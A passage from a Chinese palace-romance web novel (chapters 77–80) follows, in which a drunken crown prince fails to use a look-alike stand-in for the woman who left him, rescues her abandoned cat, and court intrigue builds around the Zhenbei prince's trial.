李岏被味道一激,回过神来。 睁眼却见几个打扮妖艳的女子站在不远处。 已有美艳女子伸过手,言语温婉,要搀着他上楼去。 他这才酒醒了一半,一把避让开来。 那年轻人与旁人道:“咱公子是头一回来,叫你这里的姑娘们都来见见,看看有没有公子瞧得上的。” 说着又与李岏道:“瞧公子这是头一回,还有点害羞,以后多来来就好了。这里的女人与别处不同,不光生得美,多才多艺,也最是温柔解意,保管有叫你满意的。这京中各大府衙的大老爷们,谁不爱来此啊。” 李岏皱着眉头,看着满楼的莺莺燕燕,语笑宴宴,却没有一个是他想见的那个人。 他歪着脚步就往外走。 身后那年轻人见他这如避蛇蝎的模样,他知道初来此地的人大抵如此,遂遣女子来拉他。 还未触到,李岏一把甩开衣袖,冷冷看了一眼。 那女子被这一眼扫得浑身一颤,再不敢上前。 高守一路心惊胆战地跟着,真怕殿下受不得诱惑,呆在了春风楼。 这春风楼是京中最大的销金窟。 而今终于见到殿下从春风楼门口离开,看起来衣裳也很完整,立刻飞奔过来,接住了人。 小心翼翼将他伺候进了马车,便驾车往宫城处飞奔。 等马车进了宫墙,落日余晖已尽,天色黑了下来。 高守前头引着车,也不往东宫去,单往攀星楼去。 今夜宫中为镇北王辞行,设宴款待,殿下必是要出席的,这一路时辰已是耽搁了。 攀星楼高百尺,楼下风灯无数,人头济济,众宾客已是来齐了。 李岏喝多了酒,脑袋昏沉,一路在车上已是半睡了过去。 到了攀星楼,被叫醒了,好不容易扶着车壁下了车。 他半闭着眼睛,扶着高守的胳膊,顺着一路的宫灯,缓缓行过一片连廊。 在走到尽头,哪知从旁边的人群里突然冒出个人影,就往他身上撞了过来。 周围传来惊呼声。 李岏浑身一惊,低下头来,却见撞过来的是个女子,一身粉色衣裙,身型娇小,似也是受到了惊吓,缩成了一团。 周围传来议论声。 所有人都知道,这女子是要仿着宋氏当日入宫的情形,孤注一掷。 李岏想要笑出声,嘴角却扯不出半点笑容。 她那日扑在身上,灼灼地目光看着自己,里头是惊是喜。 那双星子一般的眼睛,便在他脑海里久久挥之不去。 或许便是从那时候,自己就已被她迷惑。 因此当陛下假装酒醉,要将她赐进东宫,他竟未出言阻止。 只是没想到,她那时眼中看到的,全都是旁人。 她只是将自己当作了他。 都是假的。 而今同样的伎俩再次出现,只是叫人生出厌恶罢了。 李岏冷冷地低下头,居高临下地看了一眼缩在一旁的女子,吩咐道:“送去皇城司问罪。” 那女子似未想到是这般结果,浑身如散了架子一般瘫软在地。 围观的四周鸦雀无声。 随行的侍从上前来拿人,那女子身子剧烈地颤抖,双眸蓄满泪水,抬起头来求救地看了一眼。 朦朦胧胧中,却是一双黑黢黢的圆眼睛,里头都是惊慌。 李岏浑身一震,道:“等等。” 他掀开衣摆,蹲下身来,衣裳铺展在地,他一把钳住了对方的下颌。 这女子被迫抬起头来,面容吓得雪白,浑身抖如筛糠。 惊慌地眼睛看了他一眼。 李岏看着她的双眸中的泪水欲掉不掉,沉声开口道:“你故意接近孤?” 这女子哆嗦着嘴唇,见太子殿下面容裹着冰寒,双眸黑沉沉如深渊,早已吓得花容失色。 她确实孤注一掷,想要效仿那位宋娘子,万一事成,就一朝飞上枝头。 可而今这模样,殿下当真如修罗一般吓人,一时悔之晚矣。 好半天方结结巴巴地道:“奴,奴婢……是。” 李岏问道:“你想伺候孤?做什么都愿意?” 此话一出,周围的人面面相觑。 连这女子都察出异常来,如抓住最后一丝稻草,慌忙地想要点头道:“是,奴婢若能伺候太子殿下,叫奴婢做什么都愿意。” 李岏松了手,嗓音低哑:“那便送来伺候吧。” 他酒醉未醒,微晃着身子,冷笑道,是啊,这世上女子多得是。 他是太子,本就是要三妻四妾,绵延子嗣。 这宫里,这天下,多得是叫他召之即来挥之即去的女子。 何况,她都能找替身,孤又何尝不能呢…… 攀星楼顶,四野天地具在脚下。 夜色已深,京中只余少数的烛火。 反倒是头顶繁星满天,竟比人间还要灿烂。 李岏斜躺在楼顶的藤椅上,外头寒风凌烈,四周与屋顶却用琉璃所筑,视线毫不受阻,寒风却半点吹不进来。 他不过着了一件单薄的白色里衣,浑身冷肃,一只手撑在额边。 因着酒醉,头疼欲裂。 半晌,却听门外传来轻响。 一女子,穿着一身轻薄的白色连纱,低着头挪着步走了进来。 直走到藤椅旁不远处,方才跪下身来,盈盈拜倒:“奴婢拜见太子殿下。” 李岏单手支着头转过来,偏了头见她俯跪在地。 屋内只燃了一只极小的烛火,她的身影影影绰绰,只有脊背对着他。 “抬头。” 那女子闻言抬起头来,突然一双黑黢黢的圆眼睛映照着烛火,偷偷地看了他一眼,又惊慌地垂了下去。 李岏心口轰地一身巨响,本就醉意朦胧,此刻愈发醉得厉害。 他半个身子探出椅子,轻轻招手道:“你过来。” 那女子颤颤巍巍地跪到正前来,腰肢细软,胸前大片的雪白。 李岏从椅子上直起身来,正对着她。而她依着规矩,垂下眼睑,不敢正视。 他一时伸手,抚上了她的眼睛。 “抬起眼睛,看我。” 那女子依言,抬起了眼睛,她的圆眼睛里晃动着烛火。 好似连脸颊两侧的梨涡都开始若隐若现,宋轻风便这般毫不羞愧地开口道:“太子殿下,我喜欢你。” 一股热流涌向全身,李岏再难自抑,一把托住她的下颌道:“说,你喜欢孤吗?” 这女子睫毛剧烈颤动,面上转出笑来道:“是,奴婢斗胆,仰慕殿下,喜欢殿下。” 李岏手下用力,看着她的眼睛道:“你不是在骗我吧?” 女子眼里蓄着莹莹泪光,忙道:“不,奴婢怎么敢,殿下天人之姿,奴婢能靠近殿下,已是几世修来的福气。” 李岏一起身将她拉了过来,压在了椅子上。 热血涌上四肢百骸。 “好,宋轻风,说,说你喜欢的是我。” “说,不要停。” 他浑身燥热,正要覆身而来,却听这女子颤颤巍巍地轻声道:“殿下,奴婢名叫玉诺。” 李岏的手一顿,抬起头瞧向她的面容。 没有梨涡,没有那双黑眸。 是个陌生的面容。 怯怯又期待地看着他。 他浑身颤动,心中如遭重锤,脑袋如刀斫斧劈一般,一把从椅子上直起身来。 他扶着脑袋站了一会,那女子不想突生出这般变故,她直起身来轻唤道:“太子殿下。” “下去。” 她不明所以,又要:“殿下?” 李岏眼风冷冷地看过来,如要噬人一般,叫她惊地再不敢开口。 她瑟缩着退了出去。 李岏一把瘫坐在旁边的榻上。 外头又飘起雪来,落在琉璃顶上。 脑海中却全是她的一颦一笑。 他浑身酒气上涌,燥热难耐,一时再难自抑。 直挺挺地半躺在榻上,对着满天的星空,浑身的汗涌出。 在最后的关头,他浑身颤栗,咬牙道:“宋轻风!”—— 作者有话说:不知道还有人不。(汗颜) 晚安 第78章 第 78 章 他在门外,她与旁人在门…… 他咬牙叫道:“宋轻风!” 四周寂寂, 并无半点声响。 李岏微转过头,瞧见门已关得严实,方才的女子已落荒而走。 他要寻个替身的想法, 还未实施,就已失败告终。 只是自己方才为何会临阵退缩了?难道这世上,只有她一个女子吗? 李岏不小心碰到脸颊上的伤口, 伤口只结了薄薄一层痂, 在酒的作用下,已红肿刺痛起来。 他从榻上起身, 双目眩晕,行动间磕碰到桌角上,压抑了一日的心绪突起, 平平砰砰将屋内能扫落的东西扔了一地。 直扔得汗湿脊背, 浑身没了力气,方才栽倒在榻上。 余光却瞧见地上几片彩色流转。 方才激动之下,怀里的几粒糖落在了地上。 他伸手去够,却离得远, 指尖要触到时, 人却一把滚落在地。 仿似不知疼似的,他捏了粒糖来,剥去外衣, 扔进了嘴里。 只是这糖似乎也并不如何甜。 他将地上散落的糖一粒粒重又捡起,放进了怀里。 外头雪越下越大。 终于丝丝冷意从四处角落缝隙窜了进来。 迷蒙中, 他蜷缩在床边角落, 对着黑暗喃喃道:“好冷。”。 天方破晓,万物归寂。 李岏醒过来,头疼欲裂, 口舌干渴。 屋内一盏烛火早已灭了,四周却白得耀眼。 他转头瞧见室内一片凌乱,桌案上的东西被扔了一地,这屋内竟没一件完好的东西。 不由皱眉想起昨夜,自己到底是喝多了。 他俯下身来咳嗽了好一会,方直起身子道:“来人。” 守在外头的全福应声埋头进来,不等吩咐忙倒了杯水递过去。 李岏接了水漱了一口便放下了道:“叫人收拾干净了。” 声音是一如既往的平淡,全福偷偷抬头打量了一眼,殿下除了面色有些发白,眼下一块伤口结了痂,与平日里瞧着并无两样。 只是他昨夜守在外头一夜,眼瞧着殿下将那女子撵出去,又耳听着屋内剧烈的声响,知道昨夜殿下是如何的醉,又是如何血红着眼眸将他们全都撵了出去。 他战战兢兢了一夜,不想今日殿下就瞧不出任何异常来。 他来不及多想,忙招呼了一帮内侍来,将屋内重新归置清扫。 李岏自站起身,打开门行到外处高台。 琉璃上撑不住雪,却在四周埋了厚厚一堆的雪。 整个攀星楼顶似已埋没在冰雪世界。 而在此俯瞰京师,已是一片冰天雪地,西城外外,西上之路一片飘渺迷茫。 他在高台上站了半晌,寒风吹得全身冰冷刺骨,宿醉的头脑才清明上几分。 李岏下意识看了掌心,回到了屋内。 不过片刻功夫,屋内已归置整齐,所有的物件已重新摆上,内侍们也已撤了个干净…… 仿佛昨夜的一切都是一场梦。 李岏躺回藤椅上,全福呈上一玉牌道:“殿下,这是镇北王爷昨夜让奴婢转交殿下的。” 李岏看了那枚被宋轻风取走的玉牌,搁在扶手上的手用力收紧。 她将玉牌还回来,是不打算以后再入宫来了。 全福见殿下没有去接,小心翼翼又收好了又道:“还有殿下,近日这宋娘子一直告病……” 李岏转了目光看他,他吓得一把捂住了嘴。 李岏道:“从此以后这东宫里,不许出现这三个字。” 他说完一把从椅子上起身,冷着脸转身下了高楼…… “支呀”一声,房门推开。 宋轻风回头道:“又下雪拉,好大的雪!” 李岚从旁边一间屋子出来,看了屋顶厚厚的积雪道:“这么大的雪,这几日日日下雪,这路只怕是愈发难走了。” 宋轻风道:“不急,我们慢慢走。” 李岚看了她一眼,她有些没反应过来地,道:“怎么了?” 李岚方要说话,却又住了口看向了外头。 果然不一时院门被人打开,一个灰黑衣裳的中年人匆匆行来,走到檐外站住脚步,抱拳道:“公子,方才有消息来说,有灾民在京中敲了登闻鼓,控告镇北王十项大罪,只怕王爷今回西北的路没这般顺利了。” 李岚索性坐在檐下栏杆上,转了转手中的剑柄道:“十项大罪?说来听听。” 那中年人道:“来人说王爷名义上是赈灾,实际上是沽名钓誉,居然贪墨赈灾银,见死不救,谎报灾情,致使苦主一家老小全都死了,还与寇匪勾结,致使地动之后寇匪横行,多半灾民无家可归,更可能与北戎勾结,瞧见北戎人出没……” 李岚听闻,却笑了起来道:“这些罪名,可真十恶不赦啊!听得我都想打他一顿了!” “这回是灾民亲自上京告御状,这回他麻烦了。” 那中年人苦了脸道:“公子还有功夫玩笑?这可不是闹着玩的。镇北王若是被抓,谁知那位会做出什么事来?这些人明显是有备而来,而今是不管不顾了。” “太子那里怎么说?” 那中年人道:“小人来时,听闻太子殿下身体不适,已卧床数日了。” 李岚站起,看了看天空叹道:“看来又要乱了。” “这种事且交与他们吧,我可管不了,和风儿先走了。” 说着转头,却见宋轻风站在一旁,扯着衣摆,表情有些呆愣。 他收了手中的剑,与宋轻风道:“我们出发?” 宋轻风回过神来,点头道:“好啊。” 李岚与那中年人道:“说来镇北王若是下了狱,太子到底有时候不太方便出面,你且去多使些银钱,叫他不至于受苦,这大冬天的。” 中年人匆匆要走。 宋轻风拦住他,道:“我这里有些钱。” 说着从怀里掏摸,却碰到一个东西,手指一动,才摸了一个钱袋子出来。 她方打开袋子,却顿住了。 这些是在东宫这些日子,攒下来的月钱。她入宫时是夏日,而今已满天落雪,不知不觉,竟攒了这么多。 出宫的时候,只带了这些银钱出来。 李岚见状,凑过去笑道:“原来我们风儿现在是个富婆了。” 宋轻风有些尴尬地笑了笑,将钱一股脑全倒了出来。 还未伸出去,李岚拦住她道:“不必了,你兰哥哥旁的没有,就是钱多。” 宋轻风翻了白眼道:“你可别吹了。” 两人随意收拾了一番便也上了路。 在冰天雪地里东游西荡,以前乃是极正常之事。 而今连日下雪,李岚却弄了辆马车,两人一路顺利地往西去。 马车在官道上不知行了多久,李岚转了目光,道:“中午在龙溪镇歇歇,那里今日正是集市。” 宋轻风好一会才反应过来,忙回道:“好啊。” 冬日里的集市总是格外热闹,人山人海,四处蒸腾的香气弥漫。 李岚行在一旁,微低头见宋轻风目光飘忽地在四处摊贩上扫过,一路静静地却并未说话。 他停下脚步买了一包烤馍来。 宋轻风接过狼吞虎咽地啃了几口。 李岚擦了擦她唇边的馍屑,道:“去车上用吧,恐怕后面再想进京师的大门不容易了,我们要趁早。” 宋轻风便吃便点了头,好一会才反应过来道:“京师的大门?” 李岚摸了摸她的脑袋笑道:“说来我落了件极重要的东西在京师,要去找回来。” 极重要的东西? 宋轻风欲要问他,他却已先行了一步…… 从大理寺出来,天色已暮。 即便此次太子出行没有摆出依仗,也没有清御道,只几个随从跟着。 可连着下了几日的雪,路上也是冷清了许多。 不一时便有熟悉的香味钻入,模糊的叫卖声传进车厢,李岏掀开车帘,便见拐弯处一个老人推着个板车,正缩着手脚在卖烤红薯。 那车上香烟阵阵。 只是此刻路上行人稀少,这般诱人的香味,却也无人光顾。 他心头一暗,便命停了车。 方从车上下来,却听远处传来一女声传来:“快,兰哥哥,这里有烤红薯!” 他方下车的身体一颤,下意识移了一步,站在了车身的阴影里。 果然瞧见两人自远处来。 这两人都穿着素布衣裳,严严实实地裹了头脸,只露出一双眼睛来。 前头的女子提着裙摆飞跑过来,站在老头的红薯摊前。 她从腰身里掏出钱来,细细地数了两遍给了老头,而后抱了两只红薯在怀。 她朝身后缓缓走来的人挥着手,露出的一双眼睛里满是喜悦,甚至可以想见那脸颊上浅浅的梨涡。 不用细看,他也知道这是宋轻风。 他们两人居然还盘桓在京师。 李岏不知道自己为什么会躲。 可瞧见那两人肩并着肩,一起埋头吃烤红薯的背影,只觉得双目刺痛,心口如被人狠狠挖去了一块。 他们曾经这么多年便是这般,一起生活,一起吃这街上的红薯。 他们看起来是这么般配。 他们的世界里,根本没有旁人。 这些日子,他以为自己早已走上正常的生活,可以没有她,可此刻,只觉得寒风刺骨,他害怕回到方华殿。 从小他便害怕一个人呆在空寂的方华殿。 李岏不知为何,挥退了身周的人,鬼使神差地跟上了两人。 他们两人很快便拐进了旁边一家不起眼的小客栈。 等李岏进了客栈的门,伙计瞧见他的打扮心中一跳,忙招呼他道:“这位公子,您是要?” 瞧这打扮气质,可不像住在这种小客栈里的人。 李岏看着空荡荡的楼梯,木着脸道:“住店。” 伙计一愣,忙又反应过来道:“公子您倒是来得不巧啊,就在您前脚,方来了对小夫妻两,将最后一间房给定了。” “小夫妻两?” 伙计怕他不信,忙指了楼上角落那间道:“可不是,两人方进去的。” 李岏抬头,看到了那道紧闭的房门。 伙计见他面色雪白,面容如画,只是眼下却结了块痂,叫他俊美的面容更添凌厉。 只是这么冷的天,他额上却似有汗,连唇都是白的,伙计心头一慌忙道:“这位公子,您可是身体不适,旁边便有一家医馆,您要不去……” 伙计还未说完,却感到旁边有人。 他转头,便见一魁梧男子站在旁边,面沉如炭,客气地道:“这位小哥,请你出去吃酒。” 他语气客气,动作却毫无商量的余地。 说完便半推半就,将伙计拉走了。 客栈里静悄悄,偶或从房门后传出几声极轻的咳嗽。 在这寂静里,李岏只觉得脚下的楼梯发出的咯吱咯吱响声,格外的刺耳。 他下意识屏住了呼吸,放轻了上楼的脚步。 等他反应过来时,居然已站在了那间房门口。 李岏从未想过,自己有一日会做出如此卑劣的偷窥行径。 从小所学,君子非礼勿视,非礼勿听,可此刻,他想要拔腿走开,脚底却似生了根一般,一动不动。 他便站在门边,死死捏住颤抖的手指,忍住了在门上扒出一个洞来的冲动。 可即便看不见,屋内的动静很快便传了出来。 男子的声音道:“快脱下来。” 宋轻风的声音低沉软蒙:“哎呀这床太舒服了不想动,你帮我。” 而后屋内传出窸窸窣窣的声响,好一会宋轻风的声音又传来:“哎呀,轻点。” “好的,我轻点,疼你就说。” “这样舒服吗?” “嗯……” “……” 李岏感到浑身热血在四肢百骸里窜走,如油煎火烧一般,令他全身发麻,浑身发颤。 他双腿发软险些站立不住。 狠狠抓住了门框,才阻止了自己倒下去。 她做这般事时是个什么情态,他最清楚。 可如今,她便在这一墙之隔,与旁人在一起了。 想到她此刻躺在床上,倒在旁人怀里的模样,娇羞着脸颊,满眼的深情。 他再没有勇气看一眼这扇门。 踉跄着跑走了—— 作者有话说:晚安~ 第79章 第 79 章 弃他于不顾 李岏跌跌撞撞从楼上下来。 一把拉开客栈大门。 风雪便裹着风灌了进来, 铺天盖地扑了他一脸。 外头天已黑了彻底,客栈门口的一盏破灯笼在风雪里无力地摇摆,照见漫天鹅毛大雪飞舞。 他被冻得下意识倚在门边, 风寒未愈,旧伤未痊,两肺间犹如蚂蚁攀爬啃咬。 他死死咬了牙屏住呼吸, 才忍住喉咙深处要咳嗽的冲动, 扒在门边捂住胸口好一会方缓过劲来。 回身看到客栈大堂内静悄悄,堂中一灯如豆摇摇曳曳地烧着, 仿似外间的风雪半点也吹不进来。 更吹不进楼上的那间房里。 他们此刻…… 他再忍不住喉头和肺间的瘙痒,忙一头扎进了风雪里。 剧烈的咳嗽声随之喷涌而发。 却淹没在风雪之声里…… 李岚打开门从客房出来。 却见不远处站着一人,兜头兜脸地裹着一身的黑衣。 而楼下空空, 客栈的跑堂显然已被支使出去了。 他微挑了眉头, 哪知那人却扑通一声跪下,激动地道:“主君,您终于肯见臣了!臣便知道您还活着!臣等等您回来,已等了多年了。” 李岚道:“我不愿入京, 便是不想见你们。 那黑衣人道:“主君受苦多年, 您天资聪颖,无人能及,何必这般忍让。如今他们内斗, 正是好时机,臣等只等您一声令下, 便甘愿为您扑汤蹈火。更何况那原本就该是您的位置。” 李岚叹了口气。 一手挑了腰间挂着的荷包穗在手中转着, 一面倚着栏杆却笑了:“我的身世,这些年连我自己都没闹明白,你们倒是从哪得的消息?” 黑衣人还待再说, 李岚却摆手道:“我与那位置毫无半分兴趣,而今这生活与我更惬意些。” “太吵了,叨扰人睡觉。今日见你,便是要告诉你,还有你们,不要再来烦我了,下次不会见你们了。” 说着他自转身进了室内,却又转过头来,面上笑容不减地道:“若是你们一意孤行,我的剑可不是摆设。” 屋内静悄悄地,他轻轻坐在了床边,却见床上的女子已从被窝里探出头来。 屋内甚暖,她面颊红润,呼吸极轻。 额上一缕发落下来,落进了唇角。 他摸了摸她的额头,又将头发丝从她口中拨开。 却想起很久以前初见她时的情景。 她一直以为在河边救下她是他们的第一次见面,其实并不是。 早在更久以前。 那时她只有四五岁年纪,走路都有些歪歪斜斜,面颊干瘦,连话都说不明白,见到生人,便吓得躲在草丛后头,如一只受惊的猫一般。 瘦小的脸上,衬出那双惊恐又满是水汪汪的眼睛愈发得大而醒目,便如刻刀一般,刻在了他的心头。 或许是从那时候起,一切都已注定。 只是而今,她明明已经跟着自己离开了,却又出现在这里。 这京师里,是有她割舍不开的人了吗? 他不想她一直记挂着此处的事,还有此处的人。 要断,就要断了彻底…… “快,在那里!” “抓住了吗?” “小畜生,看你往哪跑!害得爷爷们在雪地里这么久……” 风雪里一阵隐隐的声音传了过来。 这些人不知在抓什么? 高守一惊,忙指使众人换个道前往文华殿。 殿下从客栈出来,面色已冷到了极点。 他偷偷瞧来,就如箭在弦上,随时都有断裂的风险,这种时候,绝不敢叫哪怕一点小事,叨扰到他。 如今镇北宁王爷被灾民敲了登闻鼓,参与保王爷的奏折也一下子铺满了陛下的案头。 镇北王乃是太子殿下的表兄,此事为得又何止是镇北王的军权,更是江山的承继。 朝中一时剑拔弩张,不日就要三法司会审。 又逢大雪天气,京师更是戒了严,进出都有数道关卡。 而今这京师,就如这天气一般,风雪交加。 车夫忙转了道。 马车冒着风雪直行到文华殿门口,高守才松了口气。 全福接上来,掀开帘子轻声叫了一声,没有回应。 他小心伸了灯笼过去,却见殿下直直地坐在车壁边,一双黑眸子在灯火下幽暗可怖。 他吓得手一抖,险些将灯笼摔了。 好容易忍住了,他忍下砰砰的心跳,又唤道:“太子殿下?” 李岏转了目光过来,才发现居然已到了宫内。 他动了动已发麻的身体,起身下车。 就这全福撑伞还未行几步,却突然远处雪地里传来“喵呜喵呜”的微弱叫声。 是猫叫声。 李岏脚步一顿。 全福忙道:“奴婢这就派人去瞧瞧,想是哪里来的……” 还未说完,却见殿下却转身就大步往外走,全福未反应过来,没了伞,雪瞬间落了一身。 李岏寻着声音,在随云殿北面的雪地里,瞧见几个太监正缩着脖子围成一个圈,对着中间的地方哈哈大笑。 而那喵呜声便是从中间传来的。 “做什么?” 冷不防在风雪里听见这么一声,几人吓得一哆嗦,转过头来,灯火下虽看不清,只是这阵仗,几人却吓得忙跪了下来。 而此刻露出被几人围在中间的,却是一只布袋,布袋上头都是雪渣。 想来方才几人便是朝这布袋在扔雪球。 李岏盯着那布袋看了一会,终于瞧见那布袋动了动,传出几声微弱的喵呜声音。 全福忙使人道:“快,将这东西扔远些。” 李岏却先一步蹲下身,捡起了布袋。 打开布袋的系口,里头果然露出一只雪白的猫来,黑宝石一般的眼睛瞪向他,喵呜喵呜地叫唤了几声。 正是那日睡在她床头的那只小白猫。 那日它肥肥地卷成一团,如棉花团一般。 只是此刻这猫许是在雪地里太久,浑身发着抖,毛发上的雪已化了,黏腻的毛沾结成团,隐约瞧见上头还有血混成了一团。 小猫面上都是惊恐神色,黑黢黢的眼睛慌张地看着他,说不出的可怜模样。 这猫与人在一起呆久了,与主人都生了几分相似。 便是这般无辜可怜的模样,都学了五六成。 想来不过失去庇护才几日,就成了这般模样。 他心头发堵,开口问道:“你们在做什么?” 声音沉静,却叫人听了心里发毛。 一个小太监结结巴巴地道:“奴婢,奴婢瞧见这畜生在附近活动,特抓了来扔远些,万不敢叫它惊扰了太子殿下。” 殿下的身旁一向禁猫近身,这是合宫都知道的规矩。 李岏却重复道:“方才,在做什么?” 大雪天里,几人浑身发颤。这大雪天里,他们值夜又冷又无聊,碰巧瞧见只猫,便抓了来折磨取乐。 此刻哆哆嗦嗦,不敢隐瞒,将方才所行之事说了,好在殿下恶猫,当不会追究。 听着对方的所行,李岏下意识抓紧了手中布袋。 却又生出许多不忿来。 她救下这只猫,却又这般无情地丢在此地。 可知它原是只野猫,冷暖自适,自我生存,而后突然被她带进了温暖的室内,从此便收了爪牙,失去了孤独行走的能力。 得到过的温暖又突然失去,可是浑身的尖爪都已消失,而今只能受人搓磨。 她可知对这猫来说,得到过的甜又失去,比从未得到过还要残忍? 若是她知道,心中可有半分愧疚? 全福震惊地看着殿下一只手抓着猫,却没有要松开的迹象。 这大雪的天,一只猫怎能劳动殿下亲自来此。 他忙要接过,哪知他却一动不动,丝毫没有要松手的迹象。 “小白,喵~” 不远处却传来两个女子唤猫的声音,时远时近。 全福欲要早些将这猫脱手,外人不知,他却知道殿下恶猫的缘由。 忙道:“殿下,这是宋娘子的猫,宋娘子的婢女寻猫来了。” 李岏仿若未闻,一把将猫重又装进布袋里。 而后塞进了自己大氅里,转身就往方华殿去。 她这般狠心弃它于不顾。 断得这般干净。 他偏不。 李岏疾步回了殿内。 将猫送与太医救治,自己在全福服侍下换了衣裳,却见不远处的镜子里,一个男子孤零零的站着。 面容沉肃,不苟言笑。 他自小就是这般,老气横秋,沉闷无趣的模样。 不比哥哥,虽然常被陛下训诫,却总是唇角含笑,性格爽朗。 断文识字,聪慧异常,连骑射,都在自己之上。 若不是因着那一层身世,他该是这宫里最耀眼的存在。 便是要自己来选,也该是喜欢他那样的。 那些蓄意要接近自己的女子,不过是因着自己这太子的身份。 若自己什么也不是了,谁又会多看自己一眼? 李岏下意识走到镜子旁,瞧见眼下的疤痕已浅淡了。 他与哥哥的容貌,并没有这般相似了。 他看着镜子里沉闷的男子,想要弯起唇角,却扯了半日,却未扯出一个适宜的弧度来。 转头却与全福吩咐道:“将她的卷宗全都搬过来,所有的一切。” “将随云殿的人带来见孤。” “将藏书阁和典籍厅的人找来。” “将宁安侯召回来。” “明日其他人谁也不见。”—— 作者有话说:晚安啊~ 不影响宝子们看文了,千言万语想说,都化成红包给各位~ 努力更新,不辜负追文的宝子们的等待~[彩虹屁] 第80章 第 80 章 你是后悔想回来了? 听殿下命全福一时又喜又忧。 殿下前些日子在攀星楼上过夜, 不想大病了一场。 这病还没好,就传来镇北王被灾民告御状的事,他们一行人刚出京师就被请了回来。 这不殿下一早上不顾病体就起身, 去了大理寺。 而今又这般冒雪回来,这身体还要不要了。 他还未想完,却见殿下已依靠在榻上, 闭了双眼。 整个人萎靡了一般, 时不时从胸腹间传来剧烈的咳嗽。 全福眼前一黑,瞧见殿下这病体似是加重的迹象。 忙不迭去寻太医…… 宋轻风醒来, 方从床上坐起来,直觉得寒气逼人。 李岚正推门进来,又捧了盆炭火来放在床边。 又往床边原来的炭盆里加了炭, 屋内紧有的一丝寒气一下子全没了。 宋轻风忍不住道:“哎, 而今真是奢侈了,都燃两盆炭了。” 李岚道:“是啊,你而今好歹是个富婆呢。” 说着他将水壶架在炭上道:“外头下了大雪,你这几天累到了, 今日就躲在这屋子哪也别去, 等我回来。” 宋轻风心头一紧,一把拉住他的衣角。 李岚索性坐在床边,与她拉紧了被子道:“放心, 等我回来一起用午膳。” 宋轻风想要与他一起,他却道:“我一个人打探消息方便些也快些。” 宋轻风看着他消失在门口, 下意识裹紧了被子…… “哎, 温度刚刚好。” 宁旌自言自语,端起酒来喝了一口不由舒服地眯了眼睛道:“这种下雪天,合该就躺在这里, 温一壶酒,吃一碟子花生米。” 说完却又道:“来人。” 外头立时小跑进来一个绯色官服的人,点头哈腰地道:“王爷,您有什么吩咐?” 宁旌道:“去弄个羊肉热锅子来。” “是,是,下臣这就去。” 说着忙颠颠地跑走了,那人方退下,却见门口又进来一人。 素色衣袍,直直行到一旁,二话不说,撩开衣摆在旁边坐了下来。 宁旌惊地立即将桌案上的腿放了下来,不敢置信地道:“这,这可是大理寺。” 李岚掸了掸身上厚厚的雪道:“是啊。” 宁旌叫道:“那你怎么就这般大摇大摆地进来了?” 说完忙又凑近了道:“难道他们都知道你的身份了?” 李岚看也未看他道:“没有。” “那你是怎么进来的?” 李岚终于掀开眼皮看他道:“无他,都是人罢了。” “啊?这些人也能收买?” 李岚扯了唇笑道:“这世上有不能收买的人吗?就像你,一个阶下囚,却连大理寺少卿都被你呼来喝去。” 宁旌咂了砸舌,又推了酒来道:“那还不是有太子殿下威严罩着,既来了,一起喝一杯。” 李岚并未接过。 宁旌纳罕道:“奇了,你居然不喝酒?” 李岚想起客栈里等着他的宋轻风道:“有人在等我。” “哟,”宁旌开口。 李岚打断他道:“你瞧起来,似乎不急着回去。” 宁旌喝了口酒,叹了口气道:“说实话,在西北十年,我无甚感觉,可这回回京师,我却真的不想走了。” 李岚挑眉未曾说话。 宁旌面上笑却消失了,他起身,负手走到一旁,看着茫茫白雪天地,和远处隔在墙外瞧不清的宫城。 好一会他开口道:“我见她的第一面,便是在这京师,而她也是死在这里的。这么多年,所有人都将她忘了,她一个人在这里这么多年,可孤寂吗?” 宁旌道:“这么多年,我以为自己怕回来,可一旦回来,我却舍不得走了。” 他想到那个意气风发的女子,笑容如灿烂朝阳。 一切却消散在这世间。 他伸出手,指向远处道:“你看到了吗?这里都是她曾经存在过的痕迹。” 李岚顺着他的目光瞧向院门,这大理寺的门槛上缺了个口。 还是当年她一剑给劈的。 这么多年这门槛居然都没换过。 宁旌端起酒来又喝了一口,道:“说来我还要感谢他们,能让我名正言顺地在此多呆些日子。” 李岚起身道:“既你留在此,不如多做点事?” 宁旌张口结舌地道:“你还是不是人啊!我马上都是要上三法司会审下大狱的人了,还让我替你做事!” 李岚却头也不回地走了,留下一句话道:“反正你闲着也是闲着。” 李岚行到门外,疾步欲往客栈去,不想未行几步,却见有人飞身来报:“公子,不好了,白姑娘不见了!” 李岚心头一惊,顿住脚步道:“她不是已被送往西北了吗?” 那人道:“是,宁王爷的人护送到半途,白姑娘说腹疼要下车,就一忽眼的功夫,白姑娘就不见了!您说莫不是被抓了?” 大雪漫天而下。 李岚皱了眉头与那人道:“此事不必告知镇北王,我想我知道她在哪。” 说着他往客栈方向看了看,犹豫了一瞬与那人道:“你速去客栈,知会宋姑娘一声,就说我,晚些回。”。 宋轻风在房内等了半日,还不不见人。 她心中突然涌起不安,从被窝出来,忍不住趴在窗口看着长街。 长街上白雪皑皑,一个行人也无。 她突然想起曾经的那日,他让她等他。 她在破云庙等到花开,等到雪落,这一等,就是三年。 这么多年,她习惯了等。 可此刻她心头的不安愈发强烈,一把从客栈跑下来,进到雪地里…… 她裹紧了衣裳,一口气跑到大理寺外。 大理寺在皇城附近,此刻却门口冷落,只有门口值守的侍卫。 瞧这模样,竟不像有人来过。 宋轻风上前去,与门口守卫道:“我家大人可还在?” 那侍卫上下打量了她,想是谁家的女眷,不由皱眉问道:“你家大人是哪位?” 宋轻风早打好了准备,她搜索记忆里曾看过的账薄名字道:“便是大理寺主薄,谈覃大人。” 那侍卫自是认识谈大人,便道:“谈大人进宫了。” 宋轻风忙道:“难怪如此!我家夫人有急事寻大人,晨时已派一人来寻,却迟迟不见他回来,大人今日见到有人来了吗?” 侍卫道:“早起只有一人来,但是已经走了。” 宋轻风皱了皱眉,听闻里头安静的声响,确实不像是有人。 正欲离开,却见有人从外头回来。 其中一人道:“太子殿下这回病逝来势凶猛,这个节骨眼上,可如何是好?” 另一人愁眉不展道:“是啊,这两日殿下谁也不见,连曹大人请求觐见都未见到殿下金面。” 宋轻风欲要听个仔细,这两人惊觉旁边有人,忙都闭了嘴。 飞快了扫了宋轻风一眼,瞧见是个女子,心下倒是放了大半,其中一人道:“哪里来的人,怎么跑此处来了?” 宋轻风却并未听进去,早在几日前,她便听闻太子病倒了。 这个时候,偏偏镇北王又被拦回了京城。 她即便不关心朝事,也知此刻于他,怕是极难的时候,稍有行差踏错,不知又是什么境地。 就像不久前他说,历朝历代的太子,能活下来的,不足十之三四。 